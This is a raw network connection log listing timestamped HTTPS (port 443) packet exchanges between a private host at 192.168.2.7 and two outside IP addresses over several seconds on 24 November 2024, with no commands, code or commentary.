Nov 24, 2024 05:12:53.161887884 CET	50051	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.161894083 CET	443	50051	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.165318966 CET	50055	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.165375948 CET	443	50055	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.165457964 CET	50055	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.165610075 CET	50055	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.165626049 CET	443	50055	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.246377945 CET	443	50052	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.249402046 CET	443	50052	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.249473095 CET	50052	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.249505997 CET	50052	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.249522924 CET	443	50052	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.249536991 CET	50052	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.249541998 CET	443	50052	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.252754927 CET	50056	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.252787113 CET	443	50056	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.252902031 CET	50056	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.253025055 CET	50056	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.253046036 CET	443	50056	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.303401947 CET	443	50053	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.306931973 CET	443	50053	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.306989908 CET	443	50053	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.307034016 CET	50053	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.307080030 CET	50053	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.307537079 CET	50053	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.307569027 CET	443	50053	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.307586908 CET	50053	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.307593107 CET	443	50053	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.317913055 CET	50057	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.318027973 CET	443	50057	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.318130016 CET	50057	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.318775892 CET	50057	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.318814039 CET	443	50057	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.366796970 CET	443	50050	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.367034912 CET	443	50050	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.367109060 CET	50050	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.367141008 CET	50050	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.367152929 CET	443	50050	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.367162943 CET	50050	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.367167950 CET	443	50050	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.369549036 CET	50059	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.369575024 CET	443	50059	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:53.369649887 CET	50059	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.369829893 CET	50059	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:53.369856119 CET	443	50059	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:54.566536903 CET	443	50054	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:54.567292929 CET	50054	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:54.567323923 CET	443	50054	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:54.567922115 CET	50054	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:54.567928076 CET	443	50054	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:54.951344967 CET	443	50055	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:54.952039003 CET	50055	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:54.952076912 CET	443	50055	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:54.952672005 CET	50055	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:54.952678919 CET	443	50055	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.012689114 CET	443	50054	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.015654087 CET	443	50054	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.015927076 CET	50054	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.020733118 CET	50054	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.020746946 CET	443	50054	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.020761967 CET	50054	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.020766973 CET	443	50054	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.025275946 CET	50060	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.025305033 CET	443	50060	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.025401115 CET	50060	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.025629044 CET	50060	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.025641918 CET	443	50060	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.032035112 CET	443	50056	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.032527924 CET	50056	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.032546997 CET	443	50056	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.033129930 CET	50056	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.033143997 CET	443	50056	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.100883961 CET	443	50057	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.101453066 CET	50057	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.101490021 CET	443	50057	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.102072001 CET	50057	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.102085114 CET	443	50057	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.224462032 CET	443	50059	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.226309061 CET	50059	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.226351023 CET	443	50059	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.226944923 CET	50059	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.226958036 CET	443	50059	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.394429922 CET	443	50055	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.397628069 CET	443	50055	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.397703886 CET	50055	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.397896051 CET	50055	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.397896051 CET	50055	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.397914886 CET	443	50055	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.397924900 CET	443	50055	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.401238918 CET	50061	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.401268005 CET	443	50061	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.401343107 CET	50061	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.401489973 CET	50061	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.401504040 CET	443	50061	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.475336075 CET	443	50056	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.478400946 CET	443	50056	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.478465080 CET	443	50056	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.478574991 CET	50056	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.478574991 CET	50056	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.478574991 CET	50056	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.478679895 CET	50056	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.478698969 CET	443	50056	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.481841087 CET	50062	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.481887102 CET	443	50062	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.481998920 CET	50062	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.482131958 CET	50062	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.482145071 CET	443	50062	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.545645952 CET	443	50057	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.545811892 CET	443	50057	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.546050072 CET	50057	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.546200037 CET	50057	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.546255112 CET	443	50057	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.546293974 CET	50057	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.546310902 CET	443	50057	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.549664021 CET	50063	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.549686909 CET	443	50063	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.549783945 CET	50063	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.549952030 CET	50063	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.549966097 CET	443	50063	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.676624060 CET	443	50059	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.679555893 CET	443	50059	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.679644108 CET	50059	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.679702997 CET	50059	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.679702997 CET	50059	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.679728031 CET	443	50059	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.679752111 CET	443	50059	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.691343069 CET	50064	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.691394091 CET	443	50064	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:55.691468000 CET	50064	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.691598892 CET	50064	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:55.691631079 CET	443	50064	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:56.879887104 CET	443	50060	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:56.880641937 CET	50060	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:56.880656004 CET	443	50060	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:56.881277084 CET	50060	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:56.881283045 CET	443	50060	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.087702036 CET	443	50063	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.088326931 CET	50063	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.088351011 CET	443	50063	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.088860035 CET	50063	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.088866949 CET	443	50063	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.195355892 CET	443	50061	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.196037054 CET	50061	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.196053028 CET	443	50061	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.196522951 CET	50061	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.196527958 CET	443	50061	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.264803886 CET	443	50062	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.265366077 CET	50062	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.265389919 CET	443	50062	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.265815973 CET	50062	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.265830994 CET	443	50062	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.335582972 CET	443	50060	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.338649988 CET	443	50060	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.338721991 CET	50060	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.338738918 CET	443	50060	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.338766098 CET	443	50060	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.338825941 CET	50060	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.338902950 CET	50060	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.338902950 CET	50060	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.338927031 CET	443	50060	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.338934898 CET	443	50060	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.341878891 CET	50065	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.341923952 CET	443	50065	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.342004061 CET	50065	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.342231989 CET	50065	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.342243910 CET	443	50065	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.546025038 CET	443	50064	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.546556950 CET	50064	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.546621084 CET	443	50064	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.547070026 CET	50064	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.547084093 CET	443	50064	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.562561989 CET	443	50063	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.565870047 CET	443	50063	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.565960884 CET	50063	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.566025019 CET	50063	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.566047907 CET	443	50063	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.566059113 CET	50063	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.566065073 CET	443	50063	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.568819046 CET	50066	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.568900108 CET	443	50066	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.568989992 CET	50066	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.569129944 CET	50066	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.569168091 CET	443	50066	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.638386011 CET	443	50061	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.641468048 CET	443	50061	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.641525984 CET	50061	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.641561985 CET	50061	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.641566992 CET	443	50061	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.641577005 CET	50061	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.641581059 CET	443	50061	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.644110918 CET	50067	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.644154072 CET	443	50067	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.644222021 CET	50067	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.644345045 CET	50067	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.644356966 CET	443	50067	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.720541954 CET	443	50062	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.720570087 CET	443	50062	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.720627069 CET	443	50062	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.720633984 CET	50062	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.720782995 CET	50062	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.720885992 CET	50062	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.720911980 CET	443	50062	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.720922947 CET	50062	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.720930099 CET	443	50062	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.723599911 CET	50068	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.723623991 CET	443	50068	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.723720074 CET	50068	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.723870039 CET	50068	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:57.723884106 CET	443	50068	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:57.929573059 CET	50069	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:12:57.929606915 CET	443	50069	142.250.181.100	192.168.2.7
Nov 24, 2024 05:12:57.929713964 CET	50069	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:12:57.929951906 CET	50069	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:12:57.929966927 CET	443	50069	142.250.181.100	192.168.2.7
Nov 24, 2024 05:12:57.998620987 CET	443	50064	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:58.001771927 CET	443	50064	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:58.001982927 CET	50064	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:58.001982927 CET	50064	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:58.001982927 CET	50064	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:58.004883051 CET	50070	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:58.004904985 CET	443	50070	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:58.004983902 CET	50070	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:58.005116940 CET	50070	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:58.005129099 CET	443	50070	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:58.303575039 CET	50064	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:58.303644896 CET	443	50064	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.132216930 CET	443	50065	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.135767937 CET	50065	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.135788918 CET	443	50065	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.136490107 CET	50065	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.136497974 CET	443	50065	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.359030008 CET	443	50067	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.359658957 CET	50067	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.359680891 CET	443	50067	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.360063076 CET	50067	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.360069036 CET	443	50067	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.361072063 CET	443	50066	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.361417055 CET	50066	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.361447096 CET	443	50066	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.361818075 CET	50066	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.361825943 CET	443	50066	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.578336954 CET	443	50065	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.580497980 CET	443	50068	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.581088066 CET	50068	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.581103086 CET	443	50068	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.581413031 CET	443	50065	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.581595898 CET	50068	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.581602097 CET	443	50068	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.581600904 CET	50065	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.581653118 CET	50065	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.581672907 CET	443	50065	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.581687927 CET	50065	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.581693888 CET	443	50065	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.590740919 CET	50071	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.590781927 CET	443	50071	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.590884924 CET	50071	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.591033936 CET	50071	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.591047049 CET	443	50071	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.626635075 CET	443	50069	142.250.181.100	192.168.2.7
Nov 24, 2024 05:12:59.628002882 CET	50069	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:12:59.628035069 CET	443	50069	142.250.181.100	192.168.2.7
Nov 24, 2024 05:12:59.629234076 CET	443	50069	142.250.181.100	192.168.2.7
Nov 24, 2024 05:12:59.629787922 CET	50069	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:12:59.629921913 CET	443	50069	142.250.181.100	192.168.2.7
Nov 24, 2024 05:12:59.677020073 CET	50069	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:12:59.801405907 CET	443	50067	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.804546118 CET	443	50067	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.806898117 CET	50067	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.806981087 CET	50067	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.806999922 CET	443	50067	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.807010889 CET	50067	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.807017088 CET	443	50067	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.809112072 CET	443	50066	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.812314034 CET	443	50066	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.812388897 CET	443	50066	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.812475920 CET	50066	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.813954115 CET	50066	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.813977957 CET	443	50066	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.813990116 CET	50066	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.813997984 CET	443	50066	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.816943884 CET	50072	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.816989899 CET	443	50072	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.817003012 CET	50073	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.817033052 CET	443	50073	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.817101002 CET	50072	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.817105055 CET	50073	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.817243099 CET	50073	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.817254066 CET	443	50073	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.817403078 CET	50072	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.817421913 CET	443	50072	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.850888968 CET	443	50070	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.851507902 CET	50070	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.851530075 CET	443	50070	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:59.851901054 CET	50070	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:59.851907969 CET	443	50070	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.032818079 CET	443	50068	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.032856941 CET	443	50068	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.032913923 CET	443	50068	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.033076048 CET	50068	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.033076048 CET	50068	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.033246040 CET	50068	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.033268929 CET	443	50068	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.033282042 CET	50068	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.033288002 CET	443	50068	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.036216974 CET	50074	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.036252022 CET	443	50074	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.036339045 CET	50074	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.036535978 CET	50074	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.036546946 CET	443	50074	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.304418087 CET	443	50070	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.307512045 CET	443	50070	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.307584047 CET	50070	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.307625055 CET	50070	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.307642937 CET	443	50070	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.307655096 CET	50070	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.307661057 CET	443	50070	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.310787916 CET	50075	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.310832977 CET	443	50075	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:00.310966969 CET	50075	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.311089039 CET	50075	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:00.311100960 CET	443	50075	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.386679888 CET	443	50071	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.393948078 CET	50071	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.393973112 CET	443	50071	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.397989988 CET	50071	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.397995949 CET	443	50071	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.543947935 CET	443	50072	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.545778036 CET	50072	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.545809031 CET	443	50072	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.546319008 CET	50072	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.546324968 CET	443	50072	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.660686970 CET	443	50073	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.661216021 CET	50073	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.661252975 CET	443	50073	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.663322926 CET	50073	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.663330078 CET	443	50073	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.753421068 CET	443	50074	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.753925085 CET	50074	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.753962040 CET	443	50074	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.754507065 CET	50074	443	192.168.2.7	13.107.246.63
